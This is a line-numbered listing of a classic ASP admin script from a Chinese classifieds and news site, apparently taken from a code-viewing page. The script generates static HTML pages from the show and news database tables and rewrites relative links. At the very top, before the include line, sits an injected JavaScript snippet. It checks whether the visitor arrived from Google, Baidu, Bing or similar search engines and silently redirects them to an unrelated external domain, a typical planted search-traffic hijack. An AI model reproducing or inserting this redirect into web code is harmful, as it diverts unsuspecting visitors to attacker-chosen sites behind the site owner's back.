d:\wwwroot\wuchunhua\admin\shengchen.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<%
003:
if session("china_admin")="" then
004:
response.redirect "login.asp"
005:
response.end
006:
end if
007:
type1=request("type")
008:
if type1<>"show" and type1<>"news" then
009:
response.write "<script>alert('参数错误码，立即返回！');history.back();</script>"
010:
response.end
011:
end if
012:
Server.ScriptTimeOut=30000
013:
set rs=server.createobject("adodb.recordset")
014:
if type1="show" then
015:
rs.open "china_data",conn,1,1
016:
end if
017:
if type1="news" then
018:
rs.open "news_data",conn,1,1
019:
end if
020:
if rs.bof and rs.eof then
021:
response.write "<script>alert('没有任何信息，立即返回！');history.back();</script>"
022:
rs.close
023:
set rs=nothing
024:
conn.close
025:
set conn=nothing
026:
response.end
027:
else
028:
ServerURL=CStr(Request.ServerVariables("SCRIPT_NAME"))
029:
n=InStrRev(ServerURL,"/") '从右边第一个字符起查找"_"的位置,n为返回值
030:
ServerURL=left(ServerURL, n-1)'显示从左边数第"n-1"个字符前面的字符,
031:
n=InStrRev(ServerURL,"/") '从右边第一个字符起查找"_"的位置,n为返回值
032:
ServerURL=left(ServerURL, n)'显示从左边数第"n"个字符前面的字符,
033:
ServerURL="http://"&Request.ServerVariables("SERVER_NAME")&ServerURL
034:
''''''''''''''''''生成html开始''''''''''''''''''''''''''
035:
if type1="show" then
036:
do while not rs.eof
037:
ServerURL1=ServerURL&"show.asp?id="&rs("adid")
038:
set http=server.createobject("MSXML2.XMLHTTP")
039:
Http.open "post",ServerURL1,false
040:
Http.send()
041:
AA=Http.responseText
042:
set http=nothing
043:
set objfso = Server.CreateObject("Scripting.FileSystemObject")
044:
set htmout = objfso.CreateTextFile(server.mappath("../html/"&rs("adid")&".htm"))
045:
AA=replace(AA,"adpic/","../adpic/")
046:
AA=replace(AA,"link.asp","../link.asp")
047:
AA=replace(AA,"link_img.asp","../link_img.asp")
048:
AA=replace(AA,"index.asp","../index.asp")
049:
AA=replace(AA,"114/../index.asp","../114/index.asp")
050:
AA=replace(AA,"ad.asp","../ad.asp")
051:
AA=replace(AA,"TV.asp","../tv.asp")
052:
AA=replace(AA,"user.asp","../user.asp")
053:
AA=replace(AA,"gbook.asp","../gbook.asp")
054:
AA=replace(AA,"city.asp","../city.asp")
055:
AA=replace(AA,"post.asp","../post.asp")
056:
AA=replace(AA,"city_more.asp","../city_more.asp")
057:
AA=replace(AA,"reg.asp","../reg.asp")
058:
AA=replace(AA,"login.asp","../login.asp")
059:
AA=replace(AA,"search.asp","../search.asp")
060:
AA=replace(AA,"114/join.asp","../114/join.asp")
061:
AA=replace(AA,"fabu.asp","../fabu.asp")
062:
AA=replace(AA,"type.asp","../type.asp")
063:
AA=replace(AA,"show.asp","../show.asp")
064:
AA=replace(AA,"114/qy../login.asp","../114/qylogin.asp")
065:
AA=replace(AA,"rq_message.asp","../rq_message.asp")
066:
AA=replace(AA,"top.asp","../top.asp")
067:
AA=replace(AA,"money.asp","../money.asp")
068:
AA=replace(AA,"pic.asp","../pic.asp")
069:
AA=replace(AA,"bbs/","../bbs/")
070:
AA=replace(AA,"html/","")
071:
AA=replace(AA,"ip.asp","../ip.asp")
072:
AA=replace(AA,"phone.asp","../phone.asp")
073:
AA=replace(AA,"about.asp","../about.asp")
074:
AA=replace(AA,"send_zn_message.asp","../send_zn_message.asp")
075:
htmout.write replace(AA,"images/","../images/")
076:
htmout.close
077:
set htmout=nothing
078:
set objfso=nothing
079:
rs.movenext
080:
loop
081:
end if
082:
''''''''''''''''''生成html结束''''''''''''''''''''''''''
083:
''''''''''''''''''生成新闻开始''''''''''''''''''''''''''
084:
if type1="news" then
085:
do while not rs.eof
086:
ServerURL1=ServerURL&"news.asp?id="&rs("adid")
087:
set objfso = Server.CreateObject("Scripting.FileSystemObject")
088:
set http=server.createobject("MSXML2.XMLHTTP")
089:
Http.open "post",ServerURL1,false
090:
Http.send()
091:
AA=Http.responseText
092:
093:
set htmout = objfso.CreateTextFile(server.mappath("../html/news/"&rs("adid")&".htm"))
094:
AA=replace(AA,"post.asp","../../post.asp")
095:
AA=replace(AA,"adpic/","../../adpic/")
096:
AA=replace(AA,"link.asp","../../link.asp")
097:
AA=replace(AA,"link_img.asp","../../link_img.asp")
098:
AA=replace(AA,"index.asp","../../index.asp")
099:
AA=replace(AA,"114/../../index.asp","../../114/index.asp")
100:
AA=replace(AA,"ad.asp","../../ad.asp")
101:
AA=replace(AA,"TV.asp","../../tv.asp")
102:
AA=replace(AA,"user.asp","../../user.asp")
103:
AA=replace(AA,"gbook.asp","../../gbook.asp")
104:
AA=replace(AA,"city.asp","../../city.asp")
105:
AA=replace(AA,"city_more.asp","../../city_more.asp")
106:
AA=replace(AA,"reg.asp","../../reg.asp")
107:
AA=replace(AA,"login.asp","../../login.asp")
108:
AA=replace(AA,"search.asp","../../search.asp")
109:
AA=replace(AA,"114/join.asp","../../114/join.asp")
110:
AA=replace(AA,"114/qy../../login.asp","../../114/qylogin.asp")
111:
AA=replace(AA,"fabu.asp","../../fabu.asp")
112:
AA=replace(AA,"type.asp","../../type.asp")
113:
AA=replace(AA,"rq_message.asp","../../rq_message.asp")
114:
AA=replace(AA,"top.asp","../../top.asp")
115:
AA=replace(AA,"money.asp","../../money.asp")
116:
AA=replace(AA,"pic.asp","../../pic.asp")
117:
AA=replace(AA,"bbs/","../../bbs/")
118:
AA=replace(AA,"html/news/","")
119:
AA=replace(AA,"about.asp","../../about.asp")
120:
htmout.write replace(AA,"images/","../../images/")
121:
htmout.close
122:
set htmout=nothing
123:
set objfso=nothing
124:
rs.movenext
125:
loop
126:
end if
127:
''''''''''''''''''生成新闻结束''''''''''''''''''''''''''
128:
rs.close
129:
set rs=nothing
130:
conn.close
131:
set conn=nothing
132:
Server.ScriptTimeOut=60
133:
response.write "<script>alert('生成成功，立即返回！');history.back();</script>"
134:
end if
135:
136:
%
>
137:
138:
139: